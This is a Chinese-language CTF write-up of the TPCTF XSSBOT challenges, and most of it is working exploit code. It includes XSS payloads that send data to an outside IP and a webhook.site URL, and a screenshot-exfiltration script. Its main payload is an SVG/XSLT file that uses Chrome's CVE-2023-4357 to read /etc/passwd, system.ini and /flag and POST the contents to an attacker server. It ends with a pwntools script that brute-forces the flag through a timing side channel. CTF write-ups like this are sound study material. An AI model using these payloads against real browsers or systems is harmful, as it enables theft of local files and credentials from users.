xctf-TPCTF wp
还得是xctf,现在xctf的web题都没web界面了屌
XSSBOT
想法很简单,直接读文件然后外带
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///flag></iframe>')"/>
<script>var xmlhttp1=new XMLHttpRequest();
xmlhttp1.open("GET","http://localhost:5000/a.html",false);
xmlhttp1.send();
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","http://8.129.42.140:3307/"+ btoa(xmlhttp1.responseText),true);
xmlhttp.send();</script>
发现这个是可以外带东西的,但是flag也不在cookie,而且要考虑同源策略
然后纠结很久
2021年有人提出过这个观点,https://security.stackexchange.com/questions/242718/how-can-i-read-local-files-from-blind-xss
或许本身就是无解
尝试屏幕截图
学到了屏幕截图的操作
<html>
<head>
<title>Attack</title>
</head>
<body>
<iframe src=file:///flag></iframe>
<script src="https://html2canvas.hertzen.com/dist/html2canvas.min.js"></script>
<script>console.log('Sleeping to allow resources loading!');setTimeout(function () {setInterval(function () {html2canvas(document.getElementsByTagName("html")[0], {scale: 1}).then(canvas => {function b() {eval(this.responseText)};
a = new XMLHttpRequest();a.addEventListener("load", b);
a.open("POST", "http://8.129.42.140:3307/");a.send(btoa(canvas.toDataURL()));}).catch(e => console.log(e));}, 1000);}, 3000);</script>
</html>
EOF
玛德不行。没有含flag的截图,而且题目也没有发送我截图
应该是同源策略的问题,所以我不能用file协议
应该是日谷歌浏览器了,当时想了一堆方法
最终找到
CVE-2023-4357+csp bypass 建议参考余总的https://johnfrod.top/安全/csp策略与绕过/
a.svg
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
<!ENTITY sysini_p "file:///c:/windows/system.ini">
<!ENTITY sysini_c SYSTEM "file:///c:/windows/system.ini">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&sysini_p;">&sysini_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
document.querySelectorAll('p').forEach(p => {
//You can send p.innerHTML by POST.
document.querySelector('#r').innerHTML += `
local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
});
document.querySelectorAll('p').forEach(p => {
const localFilePath = p.className;
const localFileContent = p.innerHTML;
// 构建要发送的数据对象
const data = {
filePath: localFilePath,
fileContent: localFileContent
};
// 发送POST请求
fetch('http://8.129.42.140:3307/post.php?'+JSON.stringify(data), {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data),
})
.then(response => response.json())
.then(data => {
// 处理服务器响应,如果有需要的话
console.log('Server response:', data);
})
.catch(error => {
// 处理错误
console.error('Error:', error);
});
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>
EOF
这份本地能出,分享会也复现给新生看了
更新了亿点东西
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
<!ENTITY flag_p "file:///flag">
<!ENTITY flag_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&flag_p;">&flag_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
document.querySelectorAll('p').forEach(p => {
//You can send p.innerHTML by POST.
document.querySelector('#r').innerHTML += `
local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
});
document.querySelectorAll('p').forEach(p => {
const localFilePath = p.className;
const localFileContent = p.innerHTML;
// 构建要发送的数据对象
const data = {
filePath: localFilePath,
fileContent: localFileContent
};
// 发送POST请求
fetch('https://webhook.site/2e14ec61-b946-4b43-9094-bdbee8ac9958?'+JSON.stringify(data), {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data),
})
.then(response => response.json())
.then(data => {
// 处理服务器响应,如果有需要的话
console.log('Server response:', data);
})
.catch(error => {
// 处理错误
console.error('Error:', error);
});
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>
EOF
主要就是魔改了一下,把实体标签换成正常标签,不然总是不解析(但是特么的windows可以)
xssbot2
这个可以打爆:https://www.exploit-db.com/exploits/49915 但是需要交互
所以咱还是先试试时间盲注
用
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///flag">
<!ENTITY passwd_c SYSTEM "file:///flag">
<!ENTITY flag_p "file:///flag">
<!ENTITY flag_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&flag_p;">&flag_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
document.querySelectorAll('p').forEach(p => {
//You can send p.innerHTML by POST.
document.querySelector('#r').innerHTML += `
local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
});
document.querySelectorAll('p').forEach(p => {
const localFilePath = p.className;
const localFileContent = p.innerHTML;
// 构建要发送的数据对象
const data = {
filePath: localFilePath,
fileContent: localFileContent
};
// 发送POST请求
fetch('http://8.129.42.140:3307?flag='+p.innerHTML, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data),
})
.then(response => response.json())
.then(data => {
// 处理服务器响应,如果有需要的话
console.log('Server response:', data);
})
.catch(error => {
// 处理错误
console.error('Error:', error);
});
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>
EOF
改为匹配
a.svg
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///flag">
<!ENTITY passwd_c SYSTEM "file:///flag">
<!ENTITY flag_p "file:///flag">
<!ENTITY flag_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&flag_p;">&flag_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
document.querySelectorAll('p').forEach(p => {
//You can send p.innerHTML by POST.
document.querySelector('#r').innerHTML += `
local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
});
document.querySelectorAll('p').forEach(p => {
const flag = p.innerHTML;
// matchFlagCharacter(i,guessedCharacter)
// 实现一个匹配
index=i_thai;
guessedCharacter='gi_thai';
// 获取 flag 的第i个字符
const correctCharacter = flag.charAt(index);
// 判断当前字符是否匹配
if (guessedCharacter === correctCharacter) {
console.log(`Matched character at index ${index}: ${correctCharacter}`);
// 在匹配时延迟 5 秒
setTimeout(() => {
console.log("Delay finished");
}, 3000);
} else {
console.log(`Incorrect character at index ${index}`);
}
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>
EOF
attack.py
from pwn import *
import time
context.log_level = 'WARNING'
flag_thai = ''
# 可见字符列表
char_list = ['T','0', '1', 'P', 'C','F', '4', '5', '6', '7', '8', '9',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', '3', 'D',
'E', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', '2', 'Q', 'R', 'S', 'U', 'V', 'W', 'X',
'Y', 'Z', '!', '@', '#', '$', '%', '^', '&', '*',
'(', ')', '_', '+', '-', '=', '{', '}', '[', ']',
'|', ':', ';', '"', "'", '<', '>', ',', '.', '?',
'/', '`', '~', ' ']
def measure(content) -> int:
try:
# 没网23379 13379
r = remote("202.112.238.82", 23379)
# 有网
# r = remote("202.112.238.82", 23378)
# 接收服务器的初始输出
r.sendlineafter(b"File name: ", b"b.svg")
r.sendlineafter(b"Input your file:", content.encode('utf-8'))
# 测量时间
r.sendline(b'EOF')
r.recvuntil(b'website...')
start = time.time()
print(r.recvuntil(b'Bye bye!').decode('utf-8'))
r.close()
end = time.time()
return end - start
except:
return measure(content)
for i in range(0,40):
# flag的位数
for char_i in char_list:
# char_i='1'
with open('b.svg', 'r',encoding="utf-8") as file:
file_content = file.read()
modified_content = file_content.replace("ii_thai", str(i))
modified_content = modified_content.replace("gi_thai", char_i)
time_cost = measure(modified_content)
print(f"i={i}, char_i={char_i}, time_cost={time_cost}")
if time_cost > 4.5:
print("[*]find")
print(f"i={i}, char_i={char_i}, time_cost={time_cost}")
flag_thai = flag_thai + char_i
print("[*]flag: " + flag_thai)
break
接着改良 b.svg
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///flag">
<!ENTITY passwd_c SYSTEM "file:///flag">
<!ENTITY flag_p "file:///flag">
<!ENTITY flag_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&flag_p;">&flag_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
document.querySelectorAll('p').forEach(p => {
//You can send p.innerHTML by POST.
document.querySelector('#r').innerHTML += `
local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
});
document.querySelectorAll('p').forEach(p => {
const localFilePath = p.className;
const localFileContent = p.innerHTML;
// 构建要发送的数据对象
const data = {
filePath: localFilePath,
fileContent: localFileContent
};
var index=ii_thai;
var guessedCharacter='gi_thai';
const flag = p.innerHTML;
const correctCharacter = flag.charAt(index);
// 判断当前字符是否匹配
if (guessedCharacter === correctCharacter) {
console.log(`Matched character at index ${index}: ${correctCharacter}`);
setTimeout(() => {
console.log('help');
}, 20000);
fetch('http://8.129.42.140:3307?flag6666='+p.innerHTML, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data),
})
} else {
console.log(`Incorrect character at index ${index}`);
// 在匹配时延迟 5 秒
}
// 发送POST请求
fetch('http://8.129.42.140:3307?flag='+p.innerHTML, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data),
})
.then(response => response.json())
.then(data => {
// 处理服务器响应,如果有需要的话
console.log('Server response:', data);
})
.catch(error => {
// 处理错误
console.error('Error:', error);
});
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>
EOF
这里如果匹配成功,服务器会收到thai666的请求,换成一个可以让浏览器延迟的操作即可
这两个是崩溃:
https://huntr.com/bounties/e268cd68-4f34-49bd-878b-82b96dcc0c99/
1297498 - UAF in ThreatDetailsCacheCollector::OpenEntry - chromium
借鉴了上面崩溃的思路,自己写了一个崩溃
最终脚本
from pwn import *
import time
context.log_level = 'WARNING'
flag_thai = ''
# 可见字符列表
char_list = ['T','0', '1', 'P', 'C','F', '4', '5', '6', '7', '8', '9',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', '3', 'D',
'E', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', '2', 'Q', 'R', 'S', 'U', 'V', 'W', 'X',
'Y', 'Z', '!', '@', '#', '$', '%', '^', '&', '*',
'(', ')', '_', '+', '-', '=', '{', '}', '[', ']',
'|', ':', ';', '"', "'", '<', '>', ',', '.', '?',
'/', '`', '~', ' ']
def measure(content) -> int:
try:
# 没网23379 13379
r = remote("202.112.238.82", 23379)
# 有网
# r = remote("202.112.238.82", 23378)
# 接收服务器的初始输出
r.sendlineafter(b"File name: ", b"b.svg")
r.sendlineafter(b"Input your file:", content.encode('utf-8'))
# 测量时间
r.sendline(b'EOF')
r.recvuntil(b'website...')
start = time.time()
print(r.recvuntil(b'Bye bye!').decode('utf-8'))
r.close()
end = time.time()
return end - start
except:
return measure(content)
for i in range(0,40):
# flag的位数
for char_i in char_list:
# char_i='1'
with open('b.svg', 'r',encoding="utf-8") as file:
file_content = file.read()
modified_content = file_content.replace("ii_thai", str(i))
modified_content = modified_content.replace("gi_thai", char_i)
time_cost = measure(modified_content)
print(f"i={i}, char_i={char_i}, time_cost={time_cost}")
if time_cost > 4.5:
print("[*]find")
print(f"i={i}, char_i={char_i}, time_cost={time_cost}")
flag_thai = flag_thai + char_i
print("[*]flag: " + flag_thai)
break
b.svg
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY flag_p "file:///flag">
<!ENTITY flag_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&flag_p;">&flag_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
document.querySelectorAll('p').forEach(p => {
//You can send p.innerHTML by POST.
document.querySelector('#r').innerHTML += `
local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
});
document.querySelectorAll('p').forEach(p => {
const localFilePath = p.className;
const localFileContent = p.innerHTML;
// 构建要发送的数据对象
const data = {
filePath: localFilePath,
fileContent: localFileContent
};
var index=ii_thai;
var guessedCharacter='gi_thai';
const flag = p.innerHTML;
const correctCharacter = flag.charAt(index);
// 判断当前字符是否匹配
if (guessedCharacter === correctCharacter) {
console.log(`Matched character at index ${index}: ${correctCharacter}`);
window.location="/b.svg";
fetch('/b.svg?'+p.innerHTML, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data),
})
} else {
console.log(`Incorrect character at index ${index}`);
// 在匹配时延迟 5 秒
}
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>
EOF
帅!
TPCTF{ea5y5C4}
这个漏洞还是很有意思的,当时学弟用知乎的一个exp试了一下,自己的浏览器可以任意文件读